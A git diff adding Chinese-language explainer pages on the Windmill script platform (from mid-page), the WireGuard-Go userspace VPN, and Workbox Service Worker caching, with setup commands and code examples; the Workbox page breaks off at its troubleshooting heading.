+2. **Flow（工作流）**：把多个 Script 串起来，定义数据流和控制流（串行、并行、条件分支）。Flow 编辑器是可视化的，但底层也是脚本
+3. **Resource（资源）**：凭证和连接的抽象。数据库连接、API Key、OAuth Token 都存在这里，脚本通过资源名引用，不用硬编码
+4. **Variable（变量）**：密钥和配置的值，和 Resource 类似但更通用。支持按路径（folder-like）组织，权限控制
+5. **Trigger（触发器）**：脚本怎么被调用——HTTP 路由、定时调度、Webhook、Kafka 消息、WebSocket、邮件，都可以触发一个脚本
+
+## 实践案例
+
+### 案例 1：写一个最简单的脚本 + 自动生成的 UI
+
+在 Windmill 里写一个 Python 脚本，接收两个参数，返回结果。Windmill 自动生成交互界面。
+
+```python
+# script: hello.py
+from windmill_client import Windmill
+
+def main(name: str, times: int = 3) -> list[str]:
+    """给一个名字，重复问候指定次数。"""
+    return [f"Hello, {name}!" for _ in range(times)]
+```
+
+不需要写一行 HTML 或路由。Windmill 读到了 `name` 和 `times` 参数，自动生成前端表单（文本框 + 数字选择器），点击按钮就执行函数。结果以 JSON 展示。
+
+如果你想通过 HTTP 调用它，Windmill 自动生成一个 REST 端点。不需要配置路由。
+
+### 案例 2：带资源 + 状态 + 日志的完整脚本
+
+```typescript
+// script: process_user.ts
+import * as wmill from "windmill-client";
+
+// 定义一个类型安全的数据库资源引用
+type Postgres = {
+  host: string;
+  port: number;
+  user: string;
+  password: string;
+  dbname: string;
+};
+
+export async function main(
+  userId: string,
+  db: Postgresql,
+  dryRun: boolean = false
+) {
+  // 读取 Windmill 存储的变量（密钥）
+  const apiToken = await wmill.getVariable("f/company/api/token");
+
+  // 读取上次执行时间
+  const lastRun = await wmill.getState();
+  console.log(`上次运行: ${lastRun}`);
+
+  // 用资源连数据库
+  const result = await queryDatabase(db, userId);
+
+  // 写状态供下次读取
+  await wmill.setState(Date.now());
+
+  // 返回 JSON
+  return { user: result, tokenUsed: !!apiToken, dryRun };
+}
+```
+
+在这个脚本里，`db: Postgresql` 是资源引用——实际连什么数据库不在代码里写，而是在 Windmill 平台的 Resources 页面配好。`wmill.getVariable` 读取加密存储的密钥。`wmill.getState/setState` 提供跨执行的持久化状态。所有 `console.log` 输出持久化可查。
+
+### 案例 3：把脚本串成 Flow（工作流）
+
+假设你有三个脚本：`fetch_data.py`、`transform_data.py`、`send_report.py`。在 Flow 编辑器里把它们拖拽连接：
+
+```
+[fetch_data.py] → [transform_data.py] → [send_report.py]
+       ↓
+  [如果失败] → [send_alert.py]
+```
+
+Flow 编辑器是可视化的，但每个节点就是普通的脚本。你可以在 `transform_data.py` 里直接调用 `fetch_data.py` 返回的结果，数据自动传递。不需要写"消息队列"或"回调 URL"。
+
+Flow 还支持条件分支、并行执行、循环等控制流。一个 Flow 里的脚本可以用不同语言——`fetch_data` 用 Python、`transform_data` 用 TypeScript、`send_report` 用 Go，数据在中间自动序列化传递。
+
+## 架构速览
+
+Windmill 架构不复杂：
+
+- **数据库**：PostgreSQL（支持 Aurora、Cloud SQL、Neon 等兼容版本），存脚本定义、执行历史、资源、权限
+- **后端**：Rust 写的无状态 API Server + Worker。Worker 从 Postgres 队列拉任务执行
+- **运行时**：TypeScript → Bun（默认）/ Deno，Python → uv 管理依赖，Go / Bash / Rust 等直接调用系统二进制
+- **沙箱**：nsjail + PID namespace 隔离，防止脚本访问宿主机内存和文件系统越权
+- **前端**：Svelte 5 编写，自动生成脚本的 UI 界面
+
+Worker 和 Server 都无状态，所以可以横向扩。一个 job 从入队到出队的延迟约 50ms。
+
+## 部署方式
+
+Windmill 支持三种自部署路径：
+
+```bash
+# 方式 1：Docker Compose（最快，3 个文件）
+curl https://raw.githubusercontent.com/windmill-labs/windmill/main/docker-compose.yml -o docker-compose.yml
+curl https://raw.githubusercontent.com/windmill-labs/windmill/main/Caddyfile -o Caddyfile
+curl https://raw.githubusercontent.com/windmill-labs/windmill/main/.env -o .env
+docker compose up -d
+# 访问 http://localhost，默认 admin@windmill.dev / changeme
+
+# 方式 2：Kubernetes (Helm)
+helm repo add windmill https://windmill-labs.github.io/windmill-helm-charts/
+helm install windmill-chart windmill/windmill --namespace=windmill --create-namespace
+```
+
+部署后你可以用三种方式开发脚本：
+- **Web IDE**：浏览器里直接写
+- **CLI (wmill)**：命令行同步本地文件到 Windmill 实例
+- **VS Code 扩展**：在编辑器里写和调试
+
+## 踩过的坑
+
+- **参数类型推断**：Windmill 根据函数签名自动推断 UI 控件类型。如果你写 `x: number` 生成数字输入框，写 `x: "a" | "b" | "c"` 生成下拉选择。但 TypeScript 的复杂泛型类型有时候解析不出来，建议用简单类型 + JSDoc 注释描述
+- **资源 vs 变量别搞混**：Resource 是带 Schema 的结构化连接（比如 PostgreSQL 连接），Variable 是纯键值对（比如 API Token）。两者都可以加密存储和权限控制，但 Resource 支持"连接测试"
+- **沙箱逃逸**：默认启用 nsjail，但如果你用 `NATIVE_MODE=true` 跑原生类型脚本（PostgreSQL、MySQL），这些脚本在宿主机直接执行，不受沙箱保护。生产环境慎用
+- **状态存储有限**：`wmill.getState/setState` 存的值很小（KV store），不适合存大量数据。如果要传大结果，应该返回给 Flow 节点，或者存到外部存储
+- **版本差异**：社区版和企业版功能有区别。部分高级功能（SSO、审计日志、无限工作流）需要企业授权。部署前确认自己的场景是否在企业版特性范围内
+
+## 适用 vs 不适用
+
+**适用**：
+- 内部工具 / 运维自动化：把零散脚本统一管理，自动生成 UI 和权限
+- 数据 pipeline 编排：多脚本串联的 ETL/ELT 流程，比 Airflow 轻量
+- 快速原型：写完脚本立刻有 API 和 UI 可以分享给团队测试
+- 需要自托管的 SaaS 替代方案：不想用 Retool / Pipedream 的 SaaS 版本
+
+**不适用**：
+- 超高 QPS 的请求—响应（Windmill 设计目标是自动化和编排，不是 API 网关）
+- 纯数据湖 / 大规模分布式批处理（用 Spark / Flink）
+- 需要复杂 SQL 迁移管理的数据库平台（用 Flyway / Alembic）
+- 对脚本语言有严格限制只能一种语言的场景（Windmill 的灵活性反而是负担）
+
+## 历史小故事
+
+- **2021 年**：Windmill Labs 创立，初衷是解决"公司内部脚本太多太散"的问题。创始人来自法国，团队规模小但迭代极快
+- **2022-2024 年**：快速迭代，GitHub Star 从几千涨到 16k+。发布 Flow 编辑器、VS Code 扩展、Git Sync 等功能
+- **2025-2026 年**：强化 AI 辅助开发（Claude Code 集成）、原生类型（PostgreSQL、MySQL 直接写 SQL 脚本）、K8s 部署体验。社区版和企业版功能区分明确
+- **现在**：v1.723+，每周发布，Discord 社区活跃。自托管用户覆盖从个人开发者到大型企业
+
+## 学到什么
+
+- **脚本优先 > 代码优先**：Windmill 的核心洞察是——大多数内部工具的本质就是"一个函数 + 输入输出"，不必一开始就搭完整项目。脚本是最低门槛的抽象
+- **自动生成 UI 的价值**：参数即 UI 不是新概念，但 Windmill 把它和脚本执行、资源管理、工作流编排整合在一起，形成闭环
+- **Rust + Bun 组合的实用性**：Rust 做后端 API 和 Worker（高性能、低内存），Bun 做 TypeScript 运行时（快启动、内置包管理），比 Node.js 更适合"每脚本一个容器"的模式
+- **自托管和 SaaS 的平衡**：Windmill 同时提供自托管和 SaaS，且社区版功能足够核心场景使用。这种模式降低了企业采用门槛
+
+## 延伸阅读
+
+- 官方文档：[Windmill Docs](https://www.windmill.dev/docs/intro/)（比 README 详细，从入门到高级全覆盖）
+- 在线试用：[app.windmill.dev](https://app.windmill.dev)（注册就有实例，不用自己部署）
+- 脚本市场：[WindmillHub](https://hub.windmill.dev)（社区共享的资源类型和脚本模板）
+- 架构对比：[Benchmarks — Windmill vs Airflow / Prefect / Temporal](https://www.windmill.dev/docs/misc/benchmarks/competitors)（官方 Benchmark 数据）
+- Docker Compose 部署：[docker-compose.yml](https://github.com/windmill-labs/windmill/blob/main/docker-compose.yml) + [Caddyfile](https://github.com/windmill-labs/windmill/blob/main/Caddyfile)（最小部署只需这两个文件）
+
+## 关联
+
+- [[temporal]] —— 同样是工作流引擎，但 Temporal 偏"持久化执行"（重）、Windmill 偏"脚本 → UI/API"（轻）
+- [[airflow]] —— Apache Airflow 用 Python 代码画 DAG，偏数据 pipeline；Windmill 更通用，任何语言脚本都能进
+- [[prefect]] —— Prefect 也是 Python 工作流引擎，和 Windmill 的 Flow 概念类似但生态更小
+- [[clack]] —— 也是"脚本变 API"的思路，但更轻量单机版；Windmill 是多租户平台
+- [[marimo]] —— 也是"代码变交互界面"，但 marimo 偏 notebook/数据探索；Windmill 偏自动化/编排
diff --git a/src/content/docs/projects/wireguard-go.md b/src/content/docs/projects/wireguard-go.md
new file mode 100644
index 000000000..1a0895c1c
--- /dev/null
+++ b/src/content/docs/projects/wireguard-go.md
@@ -0,0 +1,264 @@
+---
+title: WireGuard-Go — 用 Go 在用户态实现 WireGuard VPN 隧道
+来源: https://github.com/WireGuard/wireguard-go
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**wireguard-go** 是 [WireGuard](https://www.wireguard.com/) 协议的 **Go 语言用户态实现**。WireGuard 本身是一套现代 VPN 协议：用 Curve25519 做密钥交换、ChaCha20-Poly1305 加密数据、UDP 承载，配置极简（通常就「本机私钥 + 对端公钥 + AllowedIPs」三样）。
+
+日常类比：
+
+- **内核版 WireGuard**（Linux 上 `ip link add wg0 type wireguard`）像小区门口的**专用闸机**：闸机嵌在围墙里，进出最快、和物业系统（路由表、防火墙）一体。
+- **wireguard-go** 像雇一位**穿制服的保安站在门口人工验票**：不改造围墙，在 macOS、Windows、FreeBSD、OpenBSD 等没有内核模块的系统上也能开 VPN；代价是多一层用户态转发，吞吐通常低于内核模块。
+
+官方仓库在 [git.zx2c4.com/wireguard-go](https://git.zx2c4.com/wireguard-go)，GitHub 上的 [WireGuard/wireguard-go](https://github.com/WireGuard/wireguard-go) 仅为镜像。Linux 上能跑，但生产环境仍应优先用内核模块；macOS 客户端、Windows 官方应用、不少商业 VPN 都把 wireguard-go 当底层库嵌进去。
+
+## 为什么重要
+
+不理解 wireguard-go，下面几件事很难讲清楚：
+
+- 为什么 **macOS / Windows 上没有 `wg` 内核接口**，照样能用 WireGuard——靠的是用户态 TUN + Go 实现
+- 为什么同一套 `wg set` / `wg show` 命令能配置两种实现——两者都暴露 **UAPI**（Unix Domain Socket 控制面）
+- 为什么 Mullvad、Tailscale 等会 fork 或 vendor 这份代码——协议核心稳定、跨平台、可嵌入 App
+- 为什么 Linux 服务器文档总写「装内核模块」——用户态是兜底，不是性能首选
+
+## 核心概念
+
+### 1. 用户态 VPN 的数据路径
+
+典型数据流：
+
+```
+应用 → 内核路由表 → TUN 虚拟网卡 → wireguard-go 加密 → UDP socket → 互联网 → 对端解密 → TUN → 对端应用
+```
+
+wireguard-go 不碰内核协议栈里的 IPsec 钩子，而是创建一个 **TUN 设备**（三层虚拟网卡），把明文 IP 包读出来加密，再从 UDP 发出去；入站则反向操作。
+
+### 2. 仓库模块划分
+
+| 目录 | 职责 |
+|------|------|
+| `tun/` | 各平台 TUN 驱动封装（Linux `/dev/net/tun`、macOS `utun`、Windows Wintun 等） |
+| `device/` | WireGuard 状态机：Peer、握手、加解密队列、AllowedIPs 路由表 |
+| `conn/` | UDP bind、批处理收发、漫游（endpoint 变化时换目标地址） |
+| `ipc/` | UAPI：响应 `wg set` / `wg show` 发来的配置文本 |
+| `replay/` | 防重放窗口 |
+| `main.go` | CLI：创建接口、可选 daemonize、监听 UAPI |
+
+`device.NewDevice(tunDevice, bind, logger)` 把 TUN 与 UDP 绑在一起，是**作为库嵌入**时的入口。
+
+### 3. Noise IKpsk2 握手
+
+WireGuard 的握手来自 [Noise Protocol Framework](https://noiseprotocol.org/) 的 **IK 模式**（发起方已知响应方长期公钥），并加了预共享密钥扩展，记作 **IKpsk2**：
+
+- **1-RTT**：两条 UDP 报文完成双向认证并导出会话密钥
+- **前向保密**：每次握手用临时 ECDH，旧密钥泄露不能解密新流量
+- **身份绑定公钥**：Peer 不靠用户名，只靠 **32 字节 Curve25519 公钥** 识别
+
+传输阶段用 **ChaCha20-Poly1305** AEAD；计数器作 nonce，防重放靠滑动窗口。
+
+### 4. Cryptokey Routing（密钥路由）
+
+WireGuard 把「路由」和「授权」合成一张表：
+
+- **出站**：目标 IP 命中某 Peer 的 `AllowedIPs` → 用该 Peer 的会话密钥加密
+- **入站**：解密后看源 IP → 必须落在发送方 Peer 的 `AllowedIPs` 里，否则丢弃
+
+因此 Peer 不能伪造「来自别人 IP」的内层包，除非掌握那个 Peer 的密钥。`AllowedIPs = 0.0.0.0/0` 表示**全流量走隧道**（常见「翻墙 / 全隧道」配置）。
+
+### 5. UAPI 控制面
+
+配置不走自定义 RPC，而是 Unix socket 上的**纯文本键值**（与 `wg-quick` / `wg setconf` 兼容）。例如：
+
+```
+private_key=...
+listen_port=51820
+public_key=...
+endpoint=1.2.3.4:51820
+allowed_ip=10.0.0.2/32
+```
+
+`wireguard-go` 启动后监听 `/var/run/wireguard/<iface>.sock`（平台略有差异），`wg(8)` 工具往这里写配置。
+
+### 6. 平台差异（README 要点）
+
+| 平台 | 接口名 | 备注 |
+|------|--------|------|
+| Linux | 任意如 `wg0` | 建议改用内核模块 |
+| macOS | `utun` 或 `utun3` 等 | 不能任意命名；可设 `WG_TUN_NAME_FILE` 写回真实名 |
+| Windows | 由 Wintun 管理 | 官方 GUI 封装了本库 |
+| FreeBSD / OpenBSD | `tun` / `tun0` | fwmark 映射到各 OS 的 socket 选项 |
+
+环境变量常用：
+
+- `LOG_LEVEL=debug` — 详细日志
+- `WG_TUN_FD` / `WG_UAPI_FD` — 父进程传入已打开的 fd（daemon 二次 exec 时用）
+- `WG_PROCESS_FOREGROUND=1` — 禁止再 fork
+
+## 快速上手：命令行
+
+### 示例 1：前台启动接口并配置点对点隧道
+
+终端 A（本机充当「服务端」）：
+
+```bash
+# 需要 root：创建 TUN 并监听 UAPI
+sudo wireguard-go -f wg0
+
+# 另开终端：生成密钥（若尚未有）
+wg genkey | tee server.key | wg pubkey > server.pub
+wg genkey | tee client.key | wg pubkey > client.pub
+
+# 配置 wg0
+sudo wg set wg0 \
+  private-key ./server.key \
+  listen-port 51820
+
+sudo ip addr add 10.7.0.1/24 dev wg0
+sudo ip link set wg0 up
+
+# 加入对端 peer（client 公钥 + 允许其使用的源 IP）
+sudo wg set wg0 peer "$(cat client.pub)" allowed-ips 10.7.0.2/32
+```
+
+终端 B（客户端）：
+
+```bash
+sudo wireguard-go -f wg0
+
+sudo wg set wg0 \
+  private-key ./client.key \
+  peer "$(cat server.pub)" \
+  endpoint <服务器公网IP>:51820 \
+  allowed-ips 10.7.0.0/24 \
+  persistent-keepalive 25
+
+sudo ip addr add 10.7.0.2/24 dev wg0
+sudo ip link set wg0 up
+
+ping 10.7.0.1
+```
+
+`persistent-keepalive` 让 NAT 后的客户端定期发空包，保持映射不过期——家庭宽带场景几乎必备。
+
+### 示例 2：用配置文件 + wg-quick 风格（Linux）
+
+`wg0.conf`：
+
+```ini
+[Interface]
+PrivateKey = <本机私钥 base64>
+Address = 10.66.66.2/24
+ListenPort = 51820
+
+[Peer]
+PublicKey = <对端公钥 base64>
+Endpoint = vpn.example.com:51820
+AllowedIPs = 0.0.0.0/0, ::/0
+PersistentKeepalive = 25
+```
+
+```bash
+sudo wireguard-go wg0          # 默认后台 fork
+sudo wg setconf wg0 wg0.conf
+sudo ip link set wg0 up
+```
+
+`AllowedIPs` 含默认路由表示**全局 VPN**；若只想访问内网 `10.66.66.0/24`，改成 `AllowedIPs = 10.66.66.0/24` 即可分流。
+
+## 作为库嵌入（Go）
+
+移动 App、Windows 服务、容器侧车常直接 import `golang.zx2c4.com/wireguard/device`，而不是 exec `wireguard-go` 二进制。最小骨架：
+
+```go
+package main
+
+import (
+	"log"
+
+	"golang.zx2c4.com/wireguard/conn"
+	"golang.zx2c4.com/wireguard/device"
+	"golang.zx2c4.com/wireguard/tun"
+)
+
+func main() {
+	tunDev, err := tun.CreateTUN("utun", device.DefaultMTU)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	logger := device.NewLogger(device.LogLevelVerbose, "(wg) ")
+	wgDev := device.NewDevice(tunDev, conn.NewDefaultBind(), logger)
+
+	// 通过 UAPI 文本配置（也可走 ipc 包监听 socket）
+	cfg := "private_key=<base64>\nlisten_port=51820\n"
+	if err := wgDev.IpcSet(cfg); err != nil {
+		log.Fatal(err)
+	}
+
+	if err := wgDev.Up(); err != nil {
+		log.Fatal(err)
+	}
+
+	select {} // 保持进程与加密协程运行
+}
+```
+
+要点：
+
+- `CreateTUN` 在 macOS 上常用 `utun` 让系统分配编号
+- `IpcSet` 接受与 `wg setconf` 相同语法的字符串
+- 必须调用 `Up()` 才开始握手与转发；`Close()` 释放资源
+
+## 与内核 WireGuard 怎么选
+
+| 维度 | 内核模块 | wireguard-go |
+|------|----------|--------------|
+| 吞吐 / CPU | 通常更优 | 用户态拷贝多一层 |
+| 部署 | 需内核支持或模块 | 单二进制 + Go runtime |
+| 平台 | Linux 为主 | Linux/macOS/Windows/BSD 全覆盖 |
+| 配置工具 | 相同 `wg` | 相同 `wg` |
+| 调试 | `dmesg`、较隐蔽 | `LOG_LEVEL=debug`、Go 栈更好读 |
+
+经验法则：**Linux 服务器优先内核**；**桌面客户端、没有内核模块的系统、需要嵌进自有进程** 用 wireguard-go。
+
+## 安全与运维提示
+
+1. **私钥即身份**：`PrivateKey` 泄露等于账号被盗，轮换要同时更新所有 Peer 配置。
+2. **AllowedIPs 是防火墙**：给 Peer 过大的网段等于授权它冒充那段 IP 的来源。
+3. **UDP 51820 常被墙**：生产要准备端口伪装、多端口或叠加 obfuscation（超出 wireguard-go 本体，需外层方案）。
+4. **Cookie 抗 DoS**：握手带 `mac1`/`mac2`，服务端过载时要求证明 IP 所有权，减轻放大攻击。
+5. **无内置用户目录**：不像 OpenVPN 有用户名/证书吊销列表；身份联邦、多租户要自己做在 UAPI 之上。
+
+## 常见排错
+
+| 现象 | 可能原因 | 排查 |
+|------|----------|------|
+| `ping` 不通 | 路由没进隧道 | 查 `ip route`、`AllowedIPs` 是否覆盖目标 |
+| 握手一直 0 B 接收 | 防火墙挡 UDP / Endpoint 错 | `wg show` 看 `latest handshake` |
+| macOS 找不到 `wg0` | 接口实际叫 `utun4` | 看 `WG_TUN_NAME_FILE` 或 `ifconfig` |
+| 能握手但无流量 | `ip addr` 未配 / 对端没回程路由 | 双方都要配隧道网段地址 |
+| Linux 性能差 | 误用 go 版而非内核 | `modprobe wireguard` 后改用内核接口 |
+
+调试命令：
+
+```bash
+LOG_LEVEL=debug wireguard-go -f wg0
+sudo wg show wg0 dump
+```
+
+## 延伸阅读
+
+- [WireGuard 协议与密码学](https://www.wireguard.com/protocol/) — Noise IKpsk2、报文格式
+- [wireguard-tools `wg(8)`](https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8) — UAPI 字段说明
+- [NDSS 2017 WireGuard 论文](https://www.ndss-symposium.org/ndss-paper/wireguard-next-generation-kernel-network-tunnel/) — Cryptokey Routing 设计动机
+- 上游 README 平台章节 — 各 OS TUN 命名限制
+
+## 小结
+
+wireguard-go 把 WireGuard 从「Linux 内核特权模块」变成「可嵌入的 Go 库 + 跨平台 CLI」：TUN 收发明文 IP 包，`device` 层做 Noise 握手与 ChaCha20 加密，`ipc` 层对接熟悉的 `wg` 工具。零基础记住三句话就够——**公钥标识 Peer、AllowedIPs 同时管路由和授权、用户态是为了到处都能跑**；Linux 生产环境再换回内核模块榨性能。
diff --git a/src/content/docs/projects/workbox.md b/src/content/docs/projects/workbox.md
new file mode 100644
index 000000000..0f15e864f
--- /dev/null
+++ b/src/content/docs/projects/workbox.md
@@ -0,0 +1,292 @@
+---
+title: Workbox — 给 Service Worker 装上「离线后勤系统」
+来源: https://github.com/GoogleChrome/workbox
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Workbox 是 Google Chrome 团队维护的一套 **JavaScript 库 + 构建插件**，专门帮你写 [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)——让网站在断网、弱网时仍能打开，并加速重复访问。日常类比：
+
+> 你开了一家便利店。顾客进门要拿货架上的货（HTML、JS、CSS、图片），还要等供应商送货（API 请求）。
+> **没有 Workbox**：你自己雇一个「仓库管理员」（手写 Service Worker），记住每件货放哪、过期没、断货时怎么办——几百行 `fetch` + `cache.put` 容易写错。
+> **有了 Workbox**：管理员换成一套标准 SOP——「开业先把常备货摆进冷库」（precache）、「顾客要什么按品类走不同流程」（routing + strategies）、「冷库满了自动清旧货」（expiration）。你只写规则，脏活它干。
+
+一句话：**Workbox 把 PWA 离线缓存从「手写代理服务器」变成「配置几条路由策略」**。
+
+## 为什么重要
+
+现代前端几乎都在谈「快」和「稳」，Workbox 解决的是浏览器层那道常被忽略的墙：
+
+- **离线 / 弱网可用**：地铁、电梯、展会 Wi-Fi 不稳时，已访问过的页面仍能打开——不是魔法，是 Service Worker 拦截请求并从 Cache Storage 读缓存。
+- **首屏与重复访问加速**：构建时 precache 的 JS/CSS/字体走「缓存优先」，第二次打开不必再等完整网络往返。
+- **与构建工具深度集成**：[[webpack]]、[[vite]]（通过 `vite-plugin-pwa`）、Create React App 等都能用 `workbox-webpack-plugin` 在打包阶段生成 precache 清单，避免手写一长串 URL。
+- **策略可组合、可测试**：`CacheFirst`、`NetworkFirst`、`StaleWhileRevalidate` 等是工业级默认值；Chrome Aurora 团队持续维护，v7.4（2025）仍在活跃更新。
+
+不理解 Workbox，就很难解释：为什么同一个 SPA，加了 PWA 后 Lighthouse 的 PWA 分数和「可安装」能力会质变；以及为什么手写 Service Worker 容易在「更新后用户仍看到旧版」上踩坑。
+
+## 核心概念
+
+Workbox 可以拆成 **四层**，从底向上理解最清晰：
+
+### 1. Service Worker 生命周期（背景）
+
+Service Worker 是运行在浏览器后台的脚本，**不能访问 DOM**，但能监听 `install`、`activate`、`fetch` 事件。Workbox 帮你把这些事件里的缓存逻辑封装好。
+
+典型生命周期：
+
+1. **install**：下载并 precache 关键资源（应用壳）。
+2. **activate**：清理旧版本缓存，可选 `clients.claim()` 立刻接管页面。
+3. **fetch**：拦截同源（及配置过的跨域）请求，按策略返回缓存或网络响应。
+
+### 2. Precaching（安装时预缓存）
+
+`workbox-precaching` 在 Service Worker **安装阶段**把构建产物（带 content hash 的 `app.abc123.js` 等）写入缓存。URL 带 hash 的用作 cache key；不带 hash 的会附加内容哈希查询参数，避免误用旧文件。
+
+核心 API：
+
+- `precacheAndRoute(manifest)`：precache + 自动注册「缓存优先」路由。
+- 构建插件注入 `self.__WB_MANIFEST`：Webpack/Vite 生成的 URL 列表。
+
+**注意**：`precacheAndRoute()` 宜在自定义 `registerRoute()` **之前**调用，否则可能被你自己的路由抢先匹配。
+
+### 3. Routing（运行时路由）
+
+`workbox-routing` 的 `registerRoute(match, handler)` 像 Express 中间件：根据 URL、请求方法、`request.destination` 等决定用哪套缓存策略。
+
+匹配方式示例：
+
+- 字符串 / RegExp：`registerRoute(/\.png$/, ...)`
+- 回调：`registerRoute(({ url, request }) => url.pathname.startsWith('/api/'), ...)`
+
+### 4. Strategies（缓存策略）
+
+`workbox-strategies` 提供常见模式，名字即语义：
+
+| 策略 | 行为 | 典型场景 |
+|------|------|----------|
+| **CacheFirst** | 先缓存，未命中再网络 | 带 hash 的静态资源、字体、图片 |
+| **NetworkFirst** | 先网络，失败或超时再用缓存 | HTML 导航、需新鲜的 API |
+| **StaleWhileRevalidate** | 立即返回缓存，后台更新缓存 | CSS、非关键 JSON |
+| **NetworkOnly** | 只走网络 | 支付、实时聊天 |
+| **CacheOnly** | 只读缓存 | 离线 fallback 页 |
+
+配套模块：
+
+- `workbox-expiration`：限制条数、过期时间。
+- `workbox-cacheable-response`：只缓存 `status === 200` 等。
+- `workbox-background-sync`：离线时排队，恢复后重试。
+- `workbox-window`：在**页面侧**注册 SW、监听更新、提示用户刷新。
+
+### 5. 构建插件二选一
+
+| 插件 | 适用 | 特点 |
+|------|------|------|
+| **GenerateSW** | 快速上线 PWA | 零 SW 源码，全配置生成 |
+| **InjectManifest** | 要 Web Push、自定义逻辑 | 你写 `sw.js`，插件只注入 manifest |
+
+## 实践案例
+
+### 案例 1：手写 Service Worker（InjectManifest 典型内容）
+
+适合已有 `src/sw.ts`，需要精细控制路由顺序的场景：
+
+```javascript
+/* eslint-disable no-restricted-globals */
+import { clientsClaim } from 'workbox-core';
+import { precacheAndRoute, cleanupOutdatedCaches } from 'workbox-precaching';
+import { registerRoute, NavigationRoute } from 'workbox-routing';
+import { NetworkFirst, StaleWhileRevalidate, CacheFirst } from 'workbox-strategies';
+import { ExpirationPlugin } from 'workbox-expiration';
+import { CacheableResponsePlugin } from 'workbox-cacheable-response';
+
+// 构建时 injectManifest 会把 __WB_MANIFEST 替换成 precache 列表
+precacheAndRoute(self.__WB_MANIFEST);
+cleanupOutdatedCaches();
+
+// 安装后立刻接管已打开的标签页（可选，配合 skipWaiting 使用）
+clientsClaim();
+
+// SPA：导航请求回退到 index.html（多页应用可删掉这段）
+registerRoute(
+  new NavigationRoute(
+    async ({ request }) => {
+      const cache = await caches.open('pages');
+      return (await cache.match('/index.html')) || fetch(request);
+    },
+    { denylist: [/^\/api\//] }
+  )
+);
+
+// 图片：缓存优先，最多 60 张、30 天
+registerRoute(
+  ({ request }) => request.destination === 'image',
+  new CacheFirst({
+    cacheName: 'images',
+    plugins: [
+      new CacheableResponsePlugin({ statuses: [0, 200] }),
+      new ExpirationPlugin({ maxEntries: 60, maxAgeSeconds: 30 * 24 * 60 * 60 }),
+    ],
+  })
+);
+
+// API：网络优先，3 秒超时后走缓存
+registerRoute(
+  ({ url }) => url.pathname.startsWith('/api/'),
+  new NetworkFirst({
+    cacheName: 'api-cache',
+    networkTimeoutSeconds: 3,
+    plugins: [new CacheableResponsePlugin({ statuses: [200] })],
+  })
+);
+
+// 样式：Stale While Revalidate — 秒开 + 后台更新
+registerRoute(
+  ({ request }) => request.destination === 'style',
+  new StaleWhileRevalidate({ cacheName: 'styles' })
+);
+```
+
+**逐段解释**：
+
+- `precacheAndRoute`：安装时缓存 webpack/vite 打出来的带 hash 资源；之后对这些 URL 默认 **CacheFirst**。
+- `NavigationRoute` + `denylist`：除 `/api/` 外，所有「页面跳转」类请求尝试返回 `index.html`，是 SPA 离线可用的关键。
+- `ExpirationPlugin`：防止图片缓存无限膨胀占满 `navigator.storage` 配额。
+- `networkTimeoutSeconds`：弱网下别让用户干等——超时就用旧数据。
+
+### 案例 2：Webpack 用 GenerateSW「配置即 Service Worker」
+
+不想维护 SW 源文件时，在 `webpack.config.js` 里加插件即可：
+
+```javascript
+const { GenerateSW } = require('workbox-webpack-plugin');
+
+module.exports = {
+  // ... 其他 webpack 配置
+  plugins: [
+    new GenerateSW({
+      clientsClaim: true,
+      skipWaiting: true,
+      navigateFallback: '/index.html',
+      navigateFallbackDenylist: [/^\/api\//, /^\/admin\//],
+      runtimeCaching: [
+        {
+          urlPattern: /^https:\/\/fonts\.googleapis\.com\/.*/i,
+          handler: 'CacheFirst',
+          options: {
+            cacheName: 'google-fonts-stylesheets',
+          },
+        },
+        {
+          urlPattern: /^https:\/\/fonts\.gstatic\.com\/.*/i,
+          handler: 'CacheFirst',
+          options: {
+            cacheName: 'google-fonts-webfonts',
+            expiration: {
+              maxEntries: 30,
+              maxAgeSeconds: 60 * 60 * 24 * 365,
+            },
+          },
+        },
+        {
+          urlPattern: /\/api\/.*$/i,
+          handler: 'NetworkFirst',
+          options: {
+            cacheName: 'api-cache',
+            networkTimeoutSeconds: 5,
+            expiration: { maxEntries: 50, maxAgeSeconds: 300 },
+          },
+        },
+      ],
+    }),
+  ],
+};
+```
+
+构建结束后会多出 `service-worker.js`（或 `swDest` 指定的文件名），并在 HTML 里由你或插件注册。`skipWaiting: true` 表示新版本 SW **安装完立刻激活**——适合内部工具；面向公众的产品更常用 `workbox-window` 提示用户「有新版本，点刷新」。
+
+### 案例 3：页面侧用 workbox-window 处理更新
+
+Service Worker 在后台更新时，用户可能一直开着旧标签页。`workbox-window` 把「等待 / 跳过等待」封装成 Promise 风格 API：
+
+```javascript
+import { Workbox } from 'workbox-window';
+
+if ('serviceWorker' in navigator) {
+  const wb = new Workbox('/service-worker.js');
+
+  wb.addEventListener('waiting', () => {
+    // 有新 SW 在 waiting 状态：问用户是否刷新
+    if (confirm('发现新版本，是否立即更新？')) {
+      wb.messageSkipWaiting();
+    }
+  });
+
+  wb.addEventListener('controlling', () => {
+    window.location.reload();
+  });
+
+  wb.register();
+}
+```
+
+`messageSkipWaiting()` 对应 SW 里的 `skipWaiting()`，激活后 `controlling` 触发，整页 reload 加载新 precache 资源。
+
+## Precache 该做与不该做
+
+**适合做 precache**：
+
+- 应用壳：`index.html`、入口 JS/CSS、关键字体、离线 fallback 图。
+- 体积可控、带 content hash 的构建产物。
+
+**不适合盲目 precache**：
+
+- 超大视频、用户上传文件、每次部署都变的无 hash 资源。
+- 所有 API 响应（应用 `runtimeCaching` + `NetworkFirst` 更合理）。
+- 超过 `maximumFileSizeToCacheInBytes`（默认 2MB）的文件——GenerateSW 会直接排除。
+
+## 与 Vite / CRA 的关系
+
+- **Create React App**：内置 `workbox-webpack-plugin`（InjectManifest），eject 后可见 `src/service-worker.js`。
+- **Vite**：常用 [`vite-plugin-pwa`](https://vite-pwa-org.netlify.app/)，底层仍是 Workbox，选项映射到 `generateSW` / `injectManifest`。
+- **Next.js**：官方 PWA 支持较弱，社区多用 `next-pwa` 或自托管 SW；理解 Workbox 模块后迁移成本更低。
+
+## 调试与排错
+
